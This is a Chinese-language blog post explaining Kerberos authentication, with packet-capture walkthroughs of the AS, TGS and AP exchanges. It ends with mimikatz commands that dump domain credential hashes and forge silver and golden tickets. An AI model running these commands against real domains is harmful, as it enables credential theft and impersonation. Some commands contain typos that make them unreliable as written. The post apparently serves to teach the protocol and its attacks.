Kerberos理解

Kerberos认证机制理解

Posted by hmoytx on May 27, 2020

Kerberos理解

简介

Windows体系下两种认证机制,NTLM与Kerberos。上一篇对NTLM认证机制进行了分析。这里主要对Kerberos认证机制进行理解。
Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

特点

  • 1.不怕中间人攻击
  • 2.不依赖主机认证

主要角色

    1. Client (废话)
    1. Server
    1. KDC(Key Distribution Center) 在DC(Domain Controller)上

常见名词解释:TGT(Ticket Granting Ticke):一种临时凭证用于获得票据。AD(account database):存储所有client的白名单,只有存在于白名单的client才能顺利申请到TGT。AS(Authentication Service):生成TGT的服务。TGS(Ticket Granting Service):票据生成服务。三者均是KDC的组成部分。

简单流程分析

KDC中参与角色AD,AS,TGS,每次都是一个来回,所以整个过程就是3个来回。

  • 1.Client向KDC发起请求(请求包含用户名),请求访问某服务,KDC接收到请求后,由AS完成最先的验证工作,通过AD中的白名单来判断,如果主机名存在于AD中,就返回TGT给Client。
  • 2.Client收到TGT后,再向Kerbroes发起请求,需要指定服务的权限,AS返回Ticket给Client。
  • 3.Client收到Ticket后去请求登录服务,服务会向Kerbroes核实这个ticket是否真实有效,有效则完成认证通过。

数据包分析

分别是三个来回,我们一个一个来看,中间踩了几个坑,人傻掉了,本来想用mimikatz直接生成票据,看数据包,肯定是没有的,没有交互的。最后是用smb,中间加一个认证过程,抓到整个流程,每个请求拿出来简单看一下,每个字段没有深入去研究,只是粗略的看了一下,简单理解下整个认证过。
根据上面的流程分析:

  • 1.第一步Client会向KDC发起请求(请求包含用户名),请求访问某服务,KDC接收到请求后,由AS完成最先的验证工作,通过AD中的白名单来判断,如果主机名存在于AD中,就返回TGT给Client。体现在数据包中就是一来一回,一个请求一个响应。

请求:AS_REQ
200528_1
可以看到,发送的请求中包含了一些身份信息(用户名),KDC收到后会去判断是否在AD白名单中。
响应:AS_REP
200528_2
KDC通过对应请求的用户的NTLM hash对一个随机字符串进行加密,再使用krbtgt hash加密返回给client,这就是TGT。由于没有krbtgt hash,TGT是没有办法短时间破解的,这也确保了kerberos能在不安全的网络下工作。

  • 2.第二步Client收到TGT后,再向Kerbroes发起请求,需要指定服务的权限,AS返回Ticket给Client。同样体现在数据包中也是是一来一回,一个请求,一个响应。

请求:TGS_REQ
200528_3
可以看到这里请求中包含了服务类型,因为我是想进行文件共享,所以这里的类型的cifs,其他类似的还有host,http等服务名,根据自己请求的服务不同,这里的类型也会有变化。 这里不知道为什么,可能是次数没对应上,所以前面的TGT内容和上面的响应中有出入,按理是一样的。
响应:TGS_REP
200528_4
然后KDC中的TGS返回票据给client。

  • 3.第三步Client收到Ticket后去请求登录服务,服务会向Kerbroes核实这个ticket是否真实有效,有效则完成认证通过,这里有个坑,请求响应的过程不是单独的,是包含在对应请求的服务中,这里我是smb服务,请求响应都在smb的报文中。

请求:AP_REQ
200528_5
可以看到AP_REQ是包含在smb的报文中。
响应:AP_REP 200528_6
返回响应,票据有效认证通过,继续就是进入正常的smb流程。
200528_7

票据伪造

这里图没有多少,只是简单提及一下,带过理解即可。

白银票据

需要的只是对应服务的NTLM hash。

用mimikatz导出:

mimikatz.exe "privilege::debug” "lsasdump::lsa /patch" "exit" > 1.txt

200528_9
然后:

klist purge  //清除已有的票据   
mimikatz.exe
kerberos::golden /domain: domain name /sid: SID /target: target name /rc4:NTLM Hash /service: service type  /user: username /ptt

黄金票据

需要krbtgt hash。

其他都一样:

kerberos::golden /domain: domain name /sid: SID /rc4: krbrgt Hash /user: username /ptt   

200528_8
成功以后如图所示。

参考

https://payloads.online/archivers/2018-11-30/1